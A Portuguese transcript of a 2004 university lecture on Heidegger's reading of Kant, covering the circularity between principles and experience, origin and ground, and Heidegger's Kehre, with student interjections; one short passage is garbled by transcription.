Heidegger: Kant e o Problema da Metafísica – Aula 5

UNIVERSIDADE FEDERAL DE SÃO CARLOS

Curso sobre
Heidegger:

Kant e o
Problema da Metafísica


Material Enviado por José de Medeiros Machado Jr.

 2o.
semestre de 2004

 Professor Bento Prado Jr.

Material Enviado por José de Medeiros Machado Jr.

ÍNDICE

Data da aula 

 

19/11/2004

Kant e o problema da metafísica

2ª. Secção – A regressão ao fundamento

3ª. Secção – A instauração do fundamento

A imaginação transcendental

4ª. Secção – A repetição da instauração da metafísica

Von Wesen des Grundes

A essência do fundamento

Curso de 1928, 3ª.ed. 1949

Die Frage nach dem Ding

A questão a Coisa

Curso 1935-36

Publicado em 1962

 

 

 

 

 

 

Bom, há 2
semanas atrás, já que na semana passada houve um feriado, há 2 semanas atrás,
dada a presença de vários dos alunos na Anpof, eu fiz uma espécie de digressão,
e deixei um pouco de lado o comentário do texto do Kant e o Problema da
Metafísica
para um pouco um texto do Stanley Cavell sobre a relação
Heidegger/Cassirer, tentando sugerir que a oposição que eu constantemente
sugeria entre o neo-kantismo e o Heidegger na verdade é um pouco mais complexa
do que parece, como se a despeito das conversas simpáticas que eles tiveram e
das críticas, dos elogios recíprocos que se fizeram, das críticas recíprocas
que se fizeram… A coisa é ambígua. Tanto um como o outro se interessaram,
fizeram resenhas, foram simpáticos um com o outro mas, ao mesmo tempo
(inaudível). Então nuançaram um pouco as coisas e há uma espécie de ambigüidade
nessa relação que normalmente é pensada como pura oposição teoria do
conhecimento X ontologia. Como se houvesse uma espécie de chão comum ao
Heidegger e ao Cassirer. Isto eu fiz porque no semestre que vem eu quero
consagrar um curso sobre a recepção cassireriana da…, a repetição
cassireriana do kantismo no século XX.

Nós vamos
continuar fazendo digressões. Em vez de continuar, como nós pretendíamos
inicialmente, fazendo o comentário linear do movimento do pensamento do
Heidegger ao longo do Kant e o problema da metafísica, nos vamos ser
obrigados a fazer vários ziguezagues. Hoje nós vamos, em vez de viajar no
capítulo que nós tínhamos comentado pra frente, nós vamos começar a comentar
textos muito posteriores do Heidegger pra voltar atrás. Isto por duas razões.
Por uma razão óbvia que é aquela que nós levantamos e cuja problemática nós
apontamos, mas sempre de maneira um pouco indecisa. Nós dissemos desde o início
origem é diferente de fundamento e no entanto origem e fundamento estão
ligados, eu falei de maneira regressiva-progressiva, numa espécie de vaivém,
mas também de uma maneira… é a palavra circularidade dessa relação.

 

 

 

 

 

 

Como se cada uma
dessas questões remetesse necessariamente à outra. Como se houvesse, não um
círculo vicioso, como diria o Aristóteles, mas um círculo virtuoso, um círculo
hermenêutico em que a palavra hermenêutica não tem nada a ver com a
interpretação do sentido dos textos sagrados nem dos textos profanos, mas em
que hermenêutica tem o sentido de interpretação do sentido do Ser.

Eu gostaria de
lembrar que várias vezes eu me reportei a uma mudança nos anos 30. Nós falamos
do Heidegger que foi tomista, aristotélico até se converter à fenomenologia,mas
subvertendo, de uma certa maneira, a fenomenologia, propondo uma ontologia
fundamental que o Husserl entendeu como antropológica. E depois tem o Heidegger
depois da Kehre, Kehre que dizer “virada”, “reviravolta”. Em que,
de uma certa maneira, ele aparentemente, pelo menos na superfície de seus
textos… Bom, ele seguramente muda de linguagem, ele muda de linguagem. Mas
fala-se de um primeiro e de um segundo Heidegger, como se houvesse uma mudança
do fundo de pensamento. Essa mudança do fundo de pensamento pode ser
determinada da seguinte maneira: daqui pra trás trata-se de fundamentar a metafísica,
aqui trata-se de destruir, transcender (?) e ultrapassar a metafísica. Pra
tornar isto mais ou menos claro, quando o Heidegger publica nos anos 20 o Sein und Zeit, dizendo que é um tratado, uma
analítica fenomenológica que se encaminha na direção de uma ontologia
fundamental – para perguntar pelo sentido do ser, nós precisamos perguntar pela
estrutura da pergunta, perguntar pela estrutura da pergunta é perguntar sujeito
da pergunta, o sujeito da pergunta é o Dasein, quais são as estruturas
do Dasein… E aí o Husserl diz: bom, isto é antropologia, uma espécie
de psicologia transcendental – o Husserl também não deixaria de lado a questão
de uma psicologia transcendental… Mas, isto é antropologismo.

Bom, o
Heidegger, logo depois da segunda guerra mundial, vai responder uma carta do
Jean Beaufret, que era um dos receptores do Heidegger na filosofia francesa e
perguntou pra ele mais ou menos o seguinte: como é quefica a sua filosofia, o
seu pensamento e o humanismo? Sendo que a palavra “humanismo” provavelmente
está ligada à filosofia do pós-guerra, Sartre e companhia bela, que tinha feito
uma conferência O existencialismo é um humanismo. E o Heidegger rejeita
o humanismo, rejeita a metafísica e começa e começa daquela maneira: a
linguagem é a mansão do Ser e os poetas e os filósofos são os guardiães dessa
mansão, ou seja, são os pastores do Ser. Porque o Kant, bom: tem a finitude
humana, a finitude humana é constitutiva, então, de uma certa maneira, o
sujeito humano finito tem uma função mais ou menos demiúrgica, não tem? O
Heidegger caminha um pouco nessa direção quando ele vai dizer: não, o homem é o
pastor do Ser. Ele deixa o Ser ser. Mas o que eu quero sugerir… Sim, claro,
há movimento, há transformação, há mudança de ótica, há mudança de ênfase.
Então o que eu queria sugerir é que o primeiro Heidegger e o segundo Heidegger
estão relacionados desde a origem de maneira circular. Aliás não é por acaso
que ele fala de Kehre, uma virada. Mas uma virada que não rompe com os
movimentos anteriores. Não é que você volta ao mesmo ponto. Porque eu ‘tava
dizendo isso… A estrutura do Kant e o problema da metafísica é
rigorosamente hermenêutico-circular. A cada capítulo nós temos, no fundo, uma
espécie de repetição, mas uma repetição que não é uma mera repetição, é um
redizer o mesmo de outra maneira, é um fazer o mesmo de uma outra perspectiva.
Estamos na primeira secção. Na verdade, estamos na primeira secção: a origem e
o fundamento. Depois de levantar a questão do fundamento e a origem da
metafísica, ele diz: bom, a regressão ao fundamento, como é que você regride ao
fundamento? É isso que nós estamos comentando. E o texto que nós ‘tamos
comentando, a regressão ao fundamento, é uma descrição da maneira pela qual o
Kant analisa as relações entre o sujeito cognoscente e o objeto conhecido. Não
vamos no deter no início mas é um comentário qase literal da Crítica da
razão pura
. Ele interpreta de maneira a ver na análise na análise da
relação sujeito cognoscente/objeto conhecido não uma relação essencialmente epistemológica,
mas como um caminho em direção ao fundamento da ontologia ou da metafísica que
funcionam como sinônimos ainda aí nessa linguagem. Essa análise do conhecimento
é um ponto de partida para a 2ª secção que é a instauração do fundamento, um
passo superior. A análise do conhecimento é, ao mesmo tempo, análise dos
fundamentos do conhecimento possível, mas do fundamento da metafísica. Quer
dizer, já se esboça uma ontologia. Quer dizer, a epistemologia é apenas a
entrada aparente numa questão que no fundo é ontológica. E a 4ª secção:
repetição. E lembro que Kehre, repetir, virar, voltar, todos esses
vocábulos têm um horizonte mais ou menos aproximado. A partir daí o Heidegger
fala na 1ª pessoa. Nós devemos repetir o pensamento de Kant. Através do Kant repensar
a metafísica e, bom, ele já escreveu o Ser e tempo daí é por isso que o
Cassirer vai dizer: não, o cara ‘tá projetando o seu próprio pensamento no
pensamento do Kant. Simultaneamente a esse texto tem um outro texto sobre a
essência do fundamento sobre o qual nós vamos falar só algumas coisas no fim.
Porque remete a essa circularidade entre o fundamento e o fundamentado, de uma
certa maneira. Mas, sobretudo, o que eu gostaria de comentar com vocês hoje, se
possível integralmente, são duas páginas, as páginas finais desse Die Frage
nach dem Ding
, que é um curso que ele deu sobre Kant um pouco antes do Kant
e o problema da metafísica
só que foi publicado muito mais tardiamente.
Então nós veremos como o Kant reaparece post Kehre. E o que eu quero
mostrar, o que eu quero sugerir é que o Kehre é uma volta. Não é
necessariamente uma ruptura porque pensando bem você dizer que a tarefa do
pensamentoé aniquilar a metafísica e dizer que a metafísica – isso na segunda
fase –, e dizer na primeira fase que o que há de positivo na metafísica é a
descoberta da negatividade do Ser, no Ser como fundamento, não é muito… São
proposições que não são muito rivais. Eu não quero dizer que o Heidegger
permanece idêntico. Há mudanças. Há mudanças inclusive biográfico-políticas mas
que aqui não nos interessam no momento. E o que eu quero mostrar é que… Como
eu tentei mostrar no caso do Wittgenstein que tem o primeiro, o segundo,
terceiro Wittgenstein, não sei quantos, no fundo, tem um fio de continuidade
profundo que une as duas fases da obra. É isso que eu quero sugerir agora. Mas
lendo a conclusão. Começando do fim. Em vez de seguir aquele caminho linear, do
começo pro fim, no Kant eproblema da metafísica, pegar um outro livro
sobre o Kant bolado mais ou menos na mesma época, mas cuja versão final é muito
posterior e como é que ele se encerra. Bom, agora aqui eu tenho o texto alemão
e o texto francês. Então eu designar o nosso especialista em alemão aqui porque
eu vou comentar a tradução francesa. Qualquer discrepância na tradução
francesa, você pode… Enfim, o índice tem a parte A: Diversas maneiras de
interrogar em direção da coisa
, por isso nach dem Ding, em direção
da coisa, que busca a coisa. Bom, é uma espécie de introdução à questão da
metafísica, como ela foi recoberta na história da metafísica e assim por
diante; B: Maneira kantiana de interrogar em direção da coisa, um solo
histórico etc, o Kant a partir de Suárez, Aristóteles etc etc; A questão da
coisa na obra máxima do Kant
, bom, aí é uma repetição – não é ipsis
litteris
, mas é uma releitura, uma re-releitura da Crítica da Razão Pura,
e que tem mais ou menos a mesma seqüência do Kant e o Problema da Metafísica.
Eu vou comentar os 2 últimos parágrafos – O Curso circular  das
demonstrações e dos comentários
. Até agora, eu falei da Circularidade do
Procedimento Interrogativo Pensante do Heidegger
. Ele encerra falando da
circularidade das demonstrações e comentários interiores à própria obra de
Kant. E aqui talvez a gente possa discutir no futuro… Vocês têm um bom lugar
pra perguntar pela fidelidade … (inaudível) não-filológica da leitura, mas da
fidelidade da leitura heideggeriana em relação ao espírito da filosofia
kantiana, isto é, da pertinência do elo Kant e Heidegger, que é tão contestado
por tantas pessoas. Ele diz: “Disto”… Bom, disto, isto de que nós
partimos é toda a Crítica da Razão Pura, não vamos detalhar. “Disto
decorre claramente que o esclarecimento dos postulados, ele também – assim como
as provas dos outros princípios–

se move em
círculo. Por que esse movimento circular e que quer dizer ele?
” O que ele
quer dizer é que… O Kant, nós sabemos… A questão quid juris, quid facti.
Nossa questão não é a questão do que acontece, é com que direito que há
possibilidade deste … (inaudível) ocorrer assim ou assado. O que ele ´tá
querendo dizer é que na obra kantiana, os limites… Não os limites, mas uma
espécie de circularidade, quer dizer, a demonstração dos princípios
transcendentais dos postulados da razão pura, de alguma maneira, só são
possíveis graças àquilo… A fundamentação desses postulados só é possível à
luz daquilo que esses postulados tornam possível. ´Tá mais claro isto, ou não?
Bom, então ele fez essa pergunta: por que este movimento em círculo? “Os
princípios devem ser demonstrados na medida em que tais proposições fundam a
possibilidade de uma experiência de objetos
”. ´Tá certo? “Os princípios
devem ser demonstrados enquanto proposições que fundam a possibilidade de uma
experiência de objetos
”. Quer dizer, tem que demonstrar os princípios
porque são eles que tornam possível os objetos ou os fatos, o quid facti
Como essas proposições são demonstradas? Mostrando que essas proposições
elas próprias só são possíveis sobre a base da unidade e da unificação dos
puros conceitos do entendimento com as formas da intuição que são o espaço e o
tempo
”. Quer dizer: os princípios ou os postulados do entendimento só são
demonstráveis na medida em que eles estão articulados internamente – embora o
Kant deixe entre parênteses o quiasma, a raiz comum –, na base da unidade e da
unificação dos puros conceitos do entendimento com as formas da intuição que
são o espaço e o tempo. Eu só posso fundar os princípios do entendimento sobre
o fundo de uma certa cumplicidade entre o conceito e a intuição. “A unidade
do pensamento e da intuição é ela própria a essência da experiência
”. É,
aqui é uma frase forte. “A experiência não é senão…” Quer dizer,
quando a gente fala, bom, existe de um lado o entendimento e tal etc e a
sensibilidade e de outro lado a experiência possível, que se torna possível, o
que ele ´tá  dizendo é que… Ele ´tá reclamando uma espécie de unidade prévia,
isto é, a unidade do pensamento e da intuição é ela própria a essência da
experiência, não algo que antecede a experiência, tampouco, como os empiristas,
algo que nasce da experiência, mas que está originariamente, originalmente
indissociável da experiência. “A prova consiste nisto: que é mostrado que os
princípios do entendimento puro são possíveis graças àquilo que eles tornam
possível, isto é, graças à essê essaças  eles tornam
posssiristas, algo que nasce da experi entre o conceito e a intuiçpensamento

o Heidegger, como se houvessncia da experiência”.
Existe uma espécie de regressão entre princípios e experiência. Estes
princípios só são princípios da experiência… Os princípios do
entendimento tornam possível a experiência…
” Não! É o fato dos
princípios… Eu inverto a ordem, eu tava invertendo a ordem do raciocínio… “Os
princípios do entendimento só podem tornar… Só são possíveis porque eles
tornam possível… Isto é, graças à experiência
. Isto é, traduzindo
em linguagem mais terra-a-terra: nós temos as categorias do entendimento
e os princípios do entendimento, que são elaborados para dar conta dos
fundamentos da física newtoniana, da metafísica da natureza – foronomia,
dinâmica, mecânica, fenomenologia. Esses princípios tornam possível a
experiência e é este tornar possível a experiência que torna possível os
princípios qua principia. Quer dizer que é uma espécie de quase
empirismo de segundo grau, uma espécie, pra usar a expressão do Deleuze, mas
num sentido bem diferente do Deleuze, uma espécie de empirismo transcendental,
uma duplicação. Porque há uma duplicação. Mais uma vez, eu repito: não é um
círculo vicioso, não é uma petição de princípio, mas é uma circularidade, uma
dependência recíproca.

 

ALUNO: Essa
circularidade, esse é um círculo necessário… Ele vai dizer na frase seguinte.

 

Eu não li a
frase ainda, mas ele já leu. Dizer que é um círculo necessário é dizer que ele
não é desnecessário, quer dizer, que ele não é vicioso, não é repetitivo.

 

ALUNO: Não é um
erro de raciocínio, não é uma falha.

 

Não é uma falha.
Longe de ser um defeito…

 

ALUNO: Nesse
caso, como é que ele poderia então chamar “princípio”? Princípio é o que
fundamenta…

 

É que os
princípios do entendimento remetem a algo que está para além deles, que os
torna possíveis ao mesmo tempo em que torna possível a experiência.

 

ALUNO: Então o
princípio vem junto.

 

Vem junto.

 

ALUNO: Eu tentei
traduzir esta frase e ficou assim: “A prova consiste em mostrar o seguinte:
os princípios do entendimento puro são possíveis, tornam-se possíveis, através
daquilo que eles possibilitam, ou seja, através da experiência
”.

 

Assim traduzido,
nós temos um outro aspecto… Você tem o negócio da circularidade, mas tem o
negócio de quase que uma temporalidade transcendental. O princípio torna
possível a experiência e é ao ele retornar da experiência que,
retrospectivamente, fundamenta o princípio ele mesmo. É por isso que você pode
falar de um empirismo transcendental.

 

ALUNO: Que é a
mesma relação entre a origem e o fundamento.

 

É exatamente. É
isso que eu… Eu tenho a impressão que lendo essas partes finais, eu cheguei a
bolar, vagamente, como… Nach dem Ding, Die Frage der Origin und des
Grund,
quer dizer, descobrir essa circularidade que ele aponta no Kant, uma
circularidade que é essencial para o seu próprio pensamento e que é o caminho
que a gente deve seguir pra entender essa relação entre a origem e o
fundamento. Quer dizer, porque origem e fundamento estão opostos na filosofia
moderna como estão opostos o empirismo e o racionalismo. O empirismo diz: bom,
as representações têm origem psicológica, bio-psicológica e não carecem de
fundamento transcendental. Basta eu escrever a gênese das regularidades do behaviour,
das representações, digamos. O racionalista diz: mein (???) ein Grund,
nós precisamos dos princípios lógicos absolutos. No caso do Leibniz, o
princípio de identidade, o princípio de não-contradição, o princípio do
terceiro excluído mais o princípio de razão suficiente. Se a pomba foi devorada
pelo falcão é porque pertenciaà essência da pomba ser devorada no dia tal, às
tantas horas. Nada ocorre sem… Nihil est sine ratione, nada é sem
razão, nada é sem fundamento. Se nós remontarmos à filosofia grega, essas
coisas ficam confusas. Arché é princípio e fundamento. O príncipe manda,
é o dono da lei, o Logos. E é ele que está na origem da civilidade. E o
princípio, o fundamento… Alguns pré-socráticos, a pergunta pelo fundamento
último das coisas, a unidade última do universo é uma pergunta pela arché,
qual é a origem do universo. É a água, é o fogo… Então, nós estamos nos
movimentando dentro do horizonte da filosofia moderna, embora o Heidegger
queira justamente desmanchar essa oposição moderna para repensar o pensamento
grego de maneira nova. De uma maneira que nos coloque a ir para além da
metafísica. Se bem que eu não sei… Se isso aqui não é metafísica, eu não sei
o que que é metafísica.

 

ALUNO: A gente
pode ainda traduzir essa relação – só tentando usar outras palavras – por uma
relação entre fonte e condição?

 

Eu acho bastante
razoável essa sua tradução. Nós veremos adiante. Fonte e condição. Fonte sem a
qual a condição não poderia vir à luz, mas fonte onde a condição transparece
claramente. Mas isso a gente vai voltar adiante. Daí eu vou voltar inclusive a
falar do Ser e Tempo. Bom, é um círculo manifesto e é mesmo um círculo
necessário. Não existe outro caminho em direção à questão da coisa que não nos
leve nesse redemoinho que nos leva da experiência aos seus princípios e dos
seus princípios à experiência que eles tornam possível.

 

ALUNO: Me
pareceu que ele tá querendo encontrar numa relação entre experiência e
princípio a mesma estrutura – aí não tem nada com o Kant –, mas que representa
em Ser e Tempo a relação entre o Logos e o Legein, que
eles não têm um ponto de partida…

 

Não, não. Nós
vamos voltar ao Ser e Tempo.

 

ALUNO: Eu pensei
isso por causa que o senhor disse que não há essa virada.

 

Mas seguramente
ele está em continuidade com o Ser e Tempo. Mas aqui, mais
imediatamente, está ligado àquela idéia do que ele diz que o Kant não foi
suficientemente longe. Porque tem o entendimento, a sensibilidade e a raiz
comum fica aqui. Ele chega a dizer: imaginação; talvez a imaginação e tal etc
possa ser o coração secreto da alma, mas talvez inacessível, quase como uma
coisa-em-si. Bom,é nesse caminho mesmo que ele caminha. A regressão ao
fundamento, a instauração do fundamento é a análise da imaginação
transcendental. E a descoberta da imaginação transcendental e da temporalidade
à qual a imaginação transcendental está essencialmente ligada é que lhe
permitirá reiterar, isto é, retomar o Ser e Tempo. É um círculo
manifesto mas muito mais que um círculo manifesto… Porque um círculo
manifesto é um círculo desinteressante. Agora, que aquilo que é transparente,
aquilo que é dado, evidente, seja necessário, isso já é alguma coisa de mais
profundo, que é aquilo que deve ser pensado. Quer dizer, o que importa pensar
não é a circularidade que está na superfície dos textos ou estaria na
superfície dos textos, mas é a necessidade da circularidade. Os princípios são
provados no retorno àquilo de que eles tornam possível o surgimento. “Porque
essas proposições não devem pôr em luz nada além que esse curso circular ele
próprio, pois é este que constitui a essência da experiência
”. Aqui, essa
frase confirma um pouquinho aquela ênfase quase temporal que nós demos. Tornar
possível a experiência e o legitimar-se post experiência. Não, depois da
experiência não, depois da experiência ser tornada possível. Porque não é
depois da experiência. Porque se fosse depois da experiência, seria ser
empirista. Mas depois da experiência ser tornada possível. Eu repito: os
princípios são provados pelo retorno àquilo cujo nascimento, cujo surgimento
eles tornam possível, pois que essas proposições não devem iluminar nada além
do que esse curso circular ele mesmo. Aqui ele vai longe. Quer dizer, os
princípios tornam possível a experiência e eles de uma certa maneira são
provados ex-post e é o fato dele ser provado ex-post… Isso não
é um defeito. Porque essas proposições não devem colocar em luz nada além do
que esse curso circular ele próprio. Quer dizer, a essência dos postulados é
insistir na sua capacidade de fundar a experiência e de ser por ela amparado.
Amparado não pela experiência, mas pelo fato da experiência ser possível, ser
tornada possível. Pra dizer as coisas de uma maneira um pouco menos misteriosa,
mas trivial, digamos. Um esforço na direção da trivialidade não custa nada.
Porque ele obviamente fala em tom elevado. Qual era o projeto dele? Era fundar
a física newtoniana. Ele faz esse edifício para fundar a física newtoniana. O
fato dele fundar a física newtoniana valida a Crítica da Razão Pura.
Fica mais evidente, não fica? Eu já disse pra vocês, tem a Crítica da Razão
Pura
, os Prolegômenos, depois tem os Princípios da Metafísica da
Natureza
e aqui a física newtoniana. A física newtoniana não é um fato
empírico, é um fato de razão, é um monumento da razão, mas cujo fundamento nós
ignoramos.

(…)

O que nos falta
é o fundamento. Ao descobrir o fundamento da Crítica da Razão Pura, vai
aproximando da física newtoniana através das sucessivas (???), não só eu fundo
a física newtoniana, eu construo uma teoria da razão que torna possível a
física newtoniana e a física newtoniana fica uma espécie de confirmação ex-post da Crítica da Razão Pura. Porque poderia não ter dado certo, não
poderia? Eu tenho o quê? Eu tenho as categorias, que são 12, eu tenho os
princípios que são a aplicação das categorias à experiência, depois nós temos a
metafísica da natureza, onde também nós vamos ter 4 princípios. Vamos ter a
foronomia, a dinâmica, a mecânica e a fenomenologia, que dão amparo aos
primeiros princípios da física, os fundamentos matemáticos da filosofia da
natureza. O livro do Newton chama-se Princípios Matemáticos, Philosophiae
Naturalis Principia Matemathica
. Então você tem uma filosofia naturalis
more geometricu
, matematicamente demonstrada, mas não temos os fundamentos.
Então eu chego aos princípios e desses princípios eu chego até colar com esse
fato de razão, que não é um fato. Então é uma boa circularidade, né!? Porque
poderia não ter dado certo. Porque eu poderia fazer uma teoria das categorias e
dos princípios que não batesse com…, cujas expressões quase físicas, quase
naturais, não batesse com a física do Newton.

 

ALUNO: Como o
conto do Borges que o Foucault cita, né!? A lista dos objetos…

 

Ah sim, aqueles
que não pertencem a nenhuma categoria. O Foucault cita uma enciclopédia chinesa
que numera os tipos de …, como por exemplo aqueles que acabaram de voar
ontem, aqueles que são pintados em cor vermelha… Aí, ele insistindo na
ausência de … Mas aí o mais importante não é tanto isto, talvez. Porque aí é
a falta de lógica na … Porque eu poderia bolar um sistema perfeitamente
lógico, como a física do Descartes, como a metafísica do Descartes, que
redundasse numa física que não é a boa.

 

ALUNO: E o caminho
inverso? Partir da física pra construir…

 

A pergunta quid
júris
de uma certa maneira conservou (?) a questão quid facti, quer
dizer, porque a questão toda é mais ou menos a seguinte: como é que eu posso
dizer que a matéria atrai a matéria na razão direta das massas e na razão
inversa do quadrado da distância, se o Hume tem razão? Se o Hume tem razão, eu
posso dizer: bom, isso é como a gente sempre pensou. Sempre aconteceu assim,
amanhã pode ser diferente. Agora, isso não me satisfaz. Eu acho que “a matéria
atrai a matéria na razão direta das massas e na razão inversa do quadrado da
distância” é uma verdade objetiva e universal. Como é possível que ela seja
objetiva e universal? Euvou encontrar os postulados que tornam possível essa
proposição, que lançam luz e fundam essa proposição. Mas, de uma certa maneira,
esses postulados são amparados pela… Quer dizer, isso é uma maneira mais
trivial de pensar, mais histórico-escolar, menos especulativa, menos
metafísica, mas pra dizer a mesma coisa. “Na última parte de sua obra, Kant
diz do princípio do entendimento puro que
[ele cita o Kant]: ele tem
essa propriedade particular de tornar de início possível sua própria prova,
isto é, a experiência, e que ele deve sempre aí estar suposto
”. Isto é, o
entendimento puro torna possível a sua própria prova.

 

ALUNO: E essa
prova deve ser pressuposta sempre pela experiência.

 

Os princípios
são proposições que fundam sua prova e que estabelecem essa fundamentação sobre
a prova. De uma certa maneira, eu tinha pensado agora há pouco nessa
circularidade, ela foi expressa de uma certa maneira pelo Pascal – eu tô
pensando só na matemática, nesse momento – e pelo Wittgenstein, mais tarde. No
caso da geometria, você tem uns 5 fundamentos (?) e com eles eu demonstro n
teoremas (inaudível) Mas você tem aqueles princípios que são verdadeiros por si
mesmos. O Aristóteles já disse: não dá pra transformar todas as proposições em
demonstráveis porque senão eu vou regredir ad infinitum. Ou então
recorrer a um círculo vicioso, isto é, eu parto dos axiomas pra demonstrar o
teorema, teorema, teorema… Uma série e aí, eu demonstro os princípios. Aí,
você tem um círculo vicioso. Não é um círculo, como diria o Kant,
reflexionante, que reage, que reatua sobre si mesmo. O que que o Pascal dizia?
Ele diz: essa falta de provas não é um defeito, é uma perfeição. Como que
dizendo: os teoremas retroativamente fundam os princípios. Não é muito
diferente do que o Heidegger ´tá dizendo do Kant.

 

ALUNO: Eu fiquei
com a impressão de que o Heidegger aqui ´tá um pouco apoiado pelo menos na
crítica do Nietzsche…

 

Só que no caso
do Nietzsche, ao contrário do que eu vinha comentando, o Nietzsche via nisso
uma espécie de tautologia. Isso não é uma tautologia. Isso aqui é necessário. O
Pascal diz que não é um círculo vicioso, um pouco como Wittgenstein diz: não é
o alicerce que fundamenta o edifício, é o edifício que fundamenta o alicerce.

 

ALUNO: Porque o
Nietzsche diz que os juízos sintéticos a priori são uma estratégia que o Kant
inventou pra dar conta do problema que na verdade funda uma faculdade das
faculdades.

 

Mas o texto
nietzscheano caminha mais polemicamente apontando para algo como um círculo
vicioso. Ele tem uma frase muito engraçada em que ele dizia, acho que ele diz
mais ou menos: é como o médico do Molière, que dizia que a morfina fazia dormir
porque tinha virtus dormitiva. O princípio é verdadeiro porque ele tem a virtus de tornar possíveis as suas conseqüências. Então, obviamente, o
Molière é irônico e destrutivo em relação à medicina universitária do seu
tempo, apostando mais numa medicina de tipo mecânico-científica como a que o
Descartes queria montar. Imagino, isto é puro chute. Da mesma maneira, o
Nietzsche ´tá achando que ´tá demolindo o grande chinês de Königsberg. Ele
chega a chamá-lo assim, o grande chinês de Königsberg, que classifica: aquelas
que aconteceram ontem e as que não constam nessa… A mais engraçada, ele
enumera arbitrariamente as categorias e tem uma última categoria: tudo aquilo
que não pertence às categorias anteriores. Bom, esse é o sentido da frase do
Kant. Portanto, o Kant aqui, ele ´tá literalmente… Aparentemente o comentário
do Heidegger não implica em nenhuma projeção da sua metafísica no Kant. Porque
o texto kantiano recebe, acolhe de maneira gentil e anfitriã o comentário do
Heidegger. Diz rigorosamente a mesma coisa. “Os princípios são proposições
que fundam sua prova e que estabelecem essa fundação sobre a prova
”. Mais
uma vez, a circularidade.

 

ALUNO: É
“desloca”. É alguma coisa com deslocar. O último verbo…

 

Os
princípios são essas proposições que fundam sua prova e que estabelecem essa
fundação sobre a prova
”.

 

ALUNO: Não,
“deslocam para a sua prova”, tira dum lugar e põe no outro.

 

É isso. Quer
dizer, uma dupla operação. É bom que você diga isso. Os princípios fundam a sua
prova e, de outro lado, de uma outra perspectiva, estabelecem a fundação sobre
a prova.

 

ALUNO: Essa
frase, eu acho que é bem clara.

 

Dito de
outra maneira, o fundamento que põe, que eles põe, a essência da experiência
não é uma coisa presente à qual nós retornamos e sobre a qual em seguida
simplesmente
nous nous tenons (…).”

 

ALUNO: É porque
aqui eu acho que, como ele ´tá falando em Grund, que quer dizer “chão”
também, tem um jogo de palavras aí com “ficar no chão”.

 

Ah sim, mesmo no
francês isso transparece, ou seja, o fundamento, o Grund, o chão que
eles põem, que é a essência da experiência, não é uma coisa presente à qual nós
retornamos e sobre a qual em seguida simplesmente nos mantemos. Bom, aqui no
fundo o que ele tá dizendo… Grund não é igual a blosse Sache, a
coisa externa, dada. Não é um ready-made, porque tá sempre sendo
produzida de uma certa maneira. Quer dizer, a diferença entre o ôntico e o
ontológico. É nesse ponto que nós tamos passando da crítica do conhecimento
para o fundamento da ontologia, que é a diferença entre Ser e ente. Ente é
aquilo que é dado, simplesmente. E o horizonte transcendental onde algo
aparecer é possível. Sendo que aqui o Grund não é blosse Sache.
Eu lembro o Hegel, uma frase dele que tem outro sentido no contexto hegeliano. Zu
Grund gehen ist in Abgrund…
Mergullieren. Grund é
fundamento, o solo sobre o qual você se apóia. Abgrund é abismo, é o
sem-chão. Quer dizer, a tarefa da filosofia é encontrar um fundamento que seja
uma não-coisa, um nada. Quer dizer, no Ser e Tempo, ele dirá: bom, todo
homem, seja ele camponês, seja ele proprietário, seja ele vilão, seja ele
herói, tem uma pré-compreensão do Ser. Mas é mais interessante evitar a
angústia, isto é, pensar o mundo como um sistema sólido de coisas estáveis. Mas
existe a Stimmung própria á filosofia, que é aquela em que a
consistência dos entes desaparece, o Grund desaparece no Abgrund,
no nada. Por que o Ser e não o ente?

 

ALUNO: É uma
abertura mesmo no sentido quase físico, né!? A abertura do chão que…

 

Abgrund,
eu não tenho mais onde… É por isso que você disse bem. Na tradução francesa,
não transpareceu essa idéia de fundamento, Grund, chão e nous nous
tenons
, onde nós nos apoiamos com pé firme. Quer dizer, no momento em que
nós descobrimos a circularidade necessária do fundamento da essência da
experiência, nós descobrimos que a Grundlegung (?), que a fundamentação
da experiência aponta para um Abgrund. É o nada.

 

ALUNO:
Professor, essa passagem que o senhor indicou, que tá bem nítida, pra depois
Ser e ente… Não vai contradizer o próprio Kant no contexto da obra dele e vai
afirmar que fenômeno traz o númeno, que mostra que não há coisa-em-si…

 

Sim. Aliás…
Porque uma vez eu usei a expressão objeto = x como sinônimo de númeno e vocês
me corrigiram com adequação. Objeto = x não é necessariamente a coisa-em-si. É
qualquer objeto determinável na experiência. Só que o Heidegger aqui vai dizer:
no limite, o objeto = x é idêntico ao númeno, por causa do finitismo dele. O
meu filho,por acaso, que não é nada heideggeriano, e lendo a segunda edição da Crítica
da Razão Pura
… O Heidegger acha que tudo isso se perdeu. Na segunda
Dedução Transcendental, se verifica que objeto = x é igual a númeno. Quer
dizer, visto de duas maneiras diferentes. Mas é a mesma.

 

ALUNO: Isso
indica uma relação necessária do transcendental com o empírico também, né!?

 

Mas sobretudo o
que tanto o Kant como o Heidegger são contra – aparentemente, se o Tuxo tem
razão, se o Heidegger tem razão – é a maneira pós-kantiana de pensar o Kant, a
maneira idealista. Curiosamente, pode parecer a mesma coisa. Bom, o Kant pensa
o sujeito transcendental como projetando dentro de si o telão, a cortina do
mundo fenomênico, e pressupõe que por trás existem as coisas-em-si. E o Hegel
numa belíssima frase, ele diz: é, mas quando a gente dá a volta por detrás da
cortina, a gente percebe que não tem nada. Mas aí, é na direção do infinito.
Porque daí esse fenomênico vai se transformar no Absoluto e no infinito. O
sujeito se torna Deus. Isso que é impensável do ponto de vista do Kant e do
ponto de vista do Heidegger. No caso do Heidegger, para garantir talvez espaço
para a religiosidade. Porque se a religiosidade for contaminada pela filosofia,
ela morre como religiosidade. Ele é Kierkegaardiano. Porque no caso do Hegel,
você tem poesia, religião, filosofia. De uma certa maneira, a arte morre. Ela é
substituída por uma forma superior de espiritualidade, de consciência de si,
que por sua vez é superada por uma forma superior de consciência de si que é a
religião. De tal maneira que a arte morre e a religião morre. É contra isso que
o Kierkegaard é contra. O Kierkegaard, apostando no Hegel: não, o Hegel é bom,
o Hegel não é de se jogar fora. Mas não é possível porque então o Deus de Abraão,
de Isaac e de Jacó desaparece.

 

ALUNO: A
passagem não é necessária…

 

Não, não. Aliás,
não é serial, não existe passagem. O Kierkegaard tem fases também. Tem a fase
ética, a fase estética e a fase religiosa. Mas a fase superior é a religiosa. E
depois, não há continuidade, há saltos. Não há passagem necessária, dialética,
de um estágio para o outro. Mas no caso Kierkegaard, o que ele quer é preservar
a experiência religiosa da contaminação da filosofia. É Pascal: le Dieu des
philosophes! O Deus dos filósofos, o Deus do Descartes que era necessário
apenas para dar um pequeno piparote para botar em funcionamento a máquina do
